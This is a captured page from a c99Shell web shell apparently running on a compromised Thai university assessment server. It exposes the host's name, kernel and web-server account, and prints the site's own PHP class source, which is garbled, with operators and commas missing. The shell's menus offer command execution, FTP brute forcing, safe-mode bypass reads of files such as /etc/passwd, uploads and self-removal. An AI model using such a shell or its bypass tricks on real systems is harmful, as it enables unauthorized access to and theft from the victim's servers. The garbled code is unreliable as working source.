!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/fileupdate/eassess/class/   drwxr-xr-x
Free 50.75 GB of 127.8 GB (39.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2552-09-24-1.0.03-clsForceAssess.php (8.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ForceAssess {

function 
GetDoAssessByStCodeAndAcYAndSe($studentCode$acadYear$semester$programId){

include_once 
"../link/function.php";
include_once 
"clsReg_Period.php";
include_once 
"clsStudentAssess.php";
include_once 
"clsRegistration.php";
include_once 
"clsClassAssess.php";
include_once 
"clsClassInStructorAssess.php";
include_once 
"clsDefineAssessment.php";
include_once 
"clsHoldCourse.php";
include_once 
"clsDoAssessment.php";
include_once 
"clsCourseAssess.php";
include_once 
"clsHoldStudent.php";
include_once 
"clsDoAssessmentHStd.php";
include_once 
"clsAssessForm.php";
include_once 
"clsHoldProgram.php";
include_once 
"clsTimeTableAssess.php";
include_once 
"clsOfficerAssess.php";
include_once 
"clsWeekDateAssess.php";

sendRequest();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$orPr = new Period($oCR);
$oStd = new StudentAssess($oCA);
$oReg = new Registration($oCA);
$oClass = new ClassAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oDo = new DoAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oCourse = new CourseAssess($oCA);
$oHStd = new HoldStudent($oCA);
$oDoHStd = new DoAssessmentHStd($oCA);
$oAF = new AssessForm($oCA);
$oHP = new HoldProgram($oCA);
$oTTA = new TimeTableAssess($oCA);
$oTTA2 = new TimeTableAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA2 = new DefineAssessment($oCA);
$oWDA = new WeekDateAssess($oCA);

$nowDate getNowDateTh();

$now GetNowDate();
list(
$y$m$d) = split('[-]'$now);
$now2=$d."-".$m."-".$y;

//$oAc->RSAcad();
//$oAc->GetRecord();

$oStd->SearchByStCodeAndStudying($studentCode);
$oStd->GetRecord();

//$oPg->RSProgramByName($oStd->programName);
//$oPg->GetRecord();

$showFlag 0;
$noAssFlag 1;

    
$oReg->RSClassIdByStdId($oStd->studentId);
    while(
$oReg->GetRecord()) {
                
$doAssFlag 1;
                        
                
$oClass->SearchByKey($oReg->classId);
                
$oClass->GetRecord();
                        
// case 0    & case 1
                    
$flag0_mustDo 0;
                    
$flag1_mustDo 0;                        
                    
$oCIS->SearchByClassIdGroupClassIdOfficerId($oReg->classId);
                        while(
$oCIS->GetRecord()) {
                            
$oDA->RSByFlagAndBetweenSCDate(0$nowDate);
                            while(
$oDA->GetRecord()) {
                                if(
$oDA->acadYear==$oClass->acadYear && $oDA->semester==$oClass->semester ){
                                
$chAssHold $oDo->CountCheckAssessment($oDA->defineid$oStd->studentId,$oCIS->officerId,$oReg->classId,$oClass->section);
                                if(
$chAssHold == 0) {
                                    
$doAssFlag 0;
                                    
$noAssFlag 0;
                                    
$flag0_mustDo =$flag0_mustDo+1;
                                    }
                                }
                            }    
// end while $oDA
                            
                            
$oDA->RSDefineidByFlagBetweenSCDateClId(1,$nowDate,$oReg->classId);
                            while(
$oDA->GetRecord()) {
                                
$oDA2->SearchByDefineid($oDA->defineid);
                                
$oDA2->GetRecord();
                                if(
$oDA2->acadYear==$oClass->acadYear && $oDA2->semester==$oClass->semester ){
                                    
$chAssHold $oDo->CountCheckAssessment($oDA2->defineid$oStd->studentId,$oCIS->officerId,$oReg->classId,$oClass->section);
                                    if(
$chAssHold == 0) {
                                        
$doAssFlag 0;
                                        
$noAssFlag 0;
                                        
$flag1_mustDo =$flag1_mustDo+1;
                                    }
                                }
                            }    
// end while $oDA
                        
}    // end while $oCIS

                        // case 5
                        
$flag5_mustDo 0;
                        
$oDA->RSByFlagAndBetweenSCDate(5$nowDate);
                        while(
$oDA->GetRecord()) {
                            if(
$oDA->acadYear==$oClass->acadYear && $oDA->semester==$oClass->semester ){
                            
$chAssHold $oDo->CountCheckAssessment3($oDA->defineid$oStd->studentId,$oReg->classId,$oClass->section);
                            if(
$chAssHold == 0) {
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                                
$flag5_mustDo =$flag5_mustDo+1;
                            }
                            }
                        }    
// end while $oDA
                        
                // case  6
                
$flag6_all 0;
                
$flag6_mustDo =0;
                
$oDA->RSDefineidByFlagBetweenSCDateClId(6,$nowDate,$oReg->classId);
                while(
$oDA->GetRecord()){
                        
$flag6_all =$flag6_all+1;
                        
$oDA2->SearchByDefineid($oDA->defineid);
                        
$oDA2->GetRecord();
                        
$oAF->SearchByKey($oDA2->assid);
                        
$oAF->GetRecord();
                        if(
$oDA2->acadYear==$oClass->acadYear && $oDA2->semester==$oClass->semester ){
                        
$chAssHold $oDo->CountCheckAssessment3($oDA2->defineid$oStd->studentId,$oReg->classId,$oClass->section);
                         if(
$chAssHold ==0){
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                                
$flag6_mustDo =$flag6_mustDo+1;
                            }
                            }
                    }
    
                
//case 7                            
                
$flag7_Do 0;
                
$flag7_mustDo 0;
                
$oDA->RSAssidByFlagBetweenSCDateClId(7,$nowDate,$oReg->classId);
                while(
$oDA->GetRecord()){
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();
                     
$oHC->RSAssessFlag7ByAssid($oDA->assid,$nowDate,$oReg->classId);
                    
$i =1;
                    while(
$oHC->GetRecord()){
                        
$oDA2->SearchByDefineid($oHC->defineid);
                        
$oDA2->GetRecord();
                        
$oTTA->SearchTimeTableByttId($oHC->ttId);
                        
$oTTA->GetRecord();
                        
$oOFA->SearchByKey($oTTA->ttOfId);
                        
$oOFA->GetRecord();
                        if(
$oDA2->acadYear==$oClass->acadYear && $oDA2->semester==$oClass->semester ){
                        
$chAssHold $oDo->CountCheckAssessment2($oDA2->defineid,$oStd->studentId,$oTTA->ttOfId,$oTTA->ttId,$oClass->section);
                        
$show=1;
                        
$today=getWeekDay($now2);
                        
$oWDA->searchWeekByScDate($now);
                        
$oWDA->GetRecord();    
                                
                        if(
$chAssHold != 0){
                             
$show=0;
                    
//         $flag7_Do = $flag7_Do+1;
                        
}elseif($oDA2->isPreAssess==&& $acadYear <= $oDA2->acadYear){
                            
$curTime date("H:i:s");
                            
$orPr->SearchBetweenTime($curTime);
                            
$orPr->GetRecord();
                            if((
$oWDA->wdAcYWeekNo $oTTA->ttWdAcYWeekNo ) || ($oWDA->wdAcYWeekNo==$oTTA->ttWdAcYWeekNo && $today <= $oTTA->ttDyId  && $orPr->period <=  $oTTA->ttToPr ) )
                                
$show=0;
                        }
                        
                        if(
$show){
                            
$flag7_mustDo $flag7_mustDo+1;
                        }
// end if show
                        
}// end if oDA2
                    
}// loop oHC
                
}// loop  oDA
                
if($flag7_mustDo!=0){
                    
$doAssFlag 0;
                    
$noAssFlag 0;
                }
                
//End case 7
                
                //case 8
                
$flag8_all 0;
                
$flag8_mustDo =0;
                
$oDA->RSAssidByFlagBetweenSCDateClId(8,$nowDate,$oReg->classId);
                while(
$oDA->GetRecord()){
                    
$oHC->RSAssessFlag8ByAssidSCDateClId($oDA->assid,$nowDate,$oReg->classId);
                    while(
$oHC->GetRecord()){
                        
$oDA2->SearchByDefineid($oHC->defineid);
                        
$oDA2->GetRecord();
                        
$oOFA->SearchByKey($oHC->officerId);
                        
$oOFA->GetRecord();    
                        if(
$oDA2->acadYear==$oClass->acadYear && $oDA2->semester==$oClass->semester ){
                            
$show=1;
                            
$chAssHold $oDo->CountCheckAssessment($oHC->defineid,$oStd->studentId,$oHC->officerId,$oReg->classId,$oClass->section);
                            if(
$chAssHold != 0){
                                
$show=0;
                            }elseif(
$oDA2->isPreAssess==&& $acadYear <= $oDA2->acadYear){
                                
$oTTA->SearchMaxWeekByClIdOfId($oReg->classId,$oHC->officerId);
                                
$oTTA->GetRecord();
                                
$oTTA2->SearchByClassIdWeekNoOrderMaxDyId($oReg->classId,$oTTA->ttWdAcYWeekNo);
                                
$oTTA2->GetRecord();
                                
$today=getWeekDay($now2);
                                
$oWDA->searchWeekByScDate($now);
                                
$oWDA->GetRecord();                            
                                
$curTime date("H:i:s");
                                
$orPr->SearchBetweenTime($curTime);
                                
$orPr->GetRecord();
                                if((
$oWDA->wdAcYWeekNo $oTTA->ttWdAcYWeekNo ) || ($oWDA->wdAcYWeekNo==$oTTA->ttWdAcYWeekNo && $today <= $oTTA2->ttDyId && $orPr->period <=  $oTTA2->ttToPr ) )
                                    
$show=0;
                            }    
                            
                            if(
$show){
                                
$flag8_mustDo $flag8_mustDo+1;    
                            }
                        }
                    } 
//while oHC
                
//while oDA                                            
                
if($flag8_mustDo!=0){
                    
$doAssFlag 0;
                    
$noAssFlag 0;
                }                                    

    }    
// end while $oReg
                    
                    
                    // case 2
                    
$showGFlag2 0;
                    
$oDA->RSByFlagAndBetweenSCDate(2$nowDate);
                    while(
$oDA->GetRecord()) {
                        
$doAssFlag 1;
                        
                        
$oHStd->RSHoldStudentByDfIdAndStY($oDA->defineid$oStd->studentYear);
                        if(
$oHStd->GetRecord()) {
                            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId)) {
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                            }
                        }    
// end if $oHStd
                        
                    
}    // end while $oDA
                    
                    // case 3
                    
$showGFlag3 0;

                    
$oDA->RSByFlagAndBetweenSCDate(3$nowDate);
                    while(
$oDA->GetRecord()) {
                        
$doAssFlag 1;
                        
                        
$oHP->SearchByDefineIdProgramIdStdYearAss($oDA->defineid$programId$oStd->studentYear);
                        if(
$oHP->GetRecord()) {
                            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId)) {
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                            }
                        }    
// end if $oHStd
                        
                    
}    // end while $oDA
    
        
return $noAssFlag;
}    
// end function

}    // end class
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0086 ]--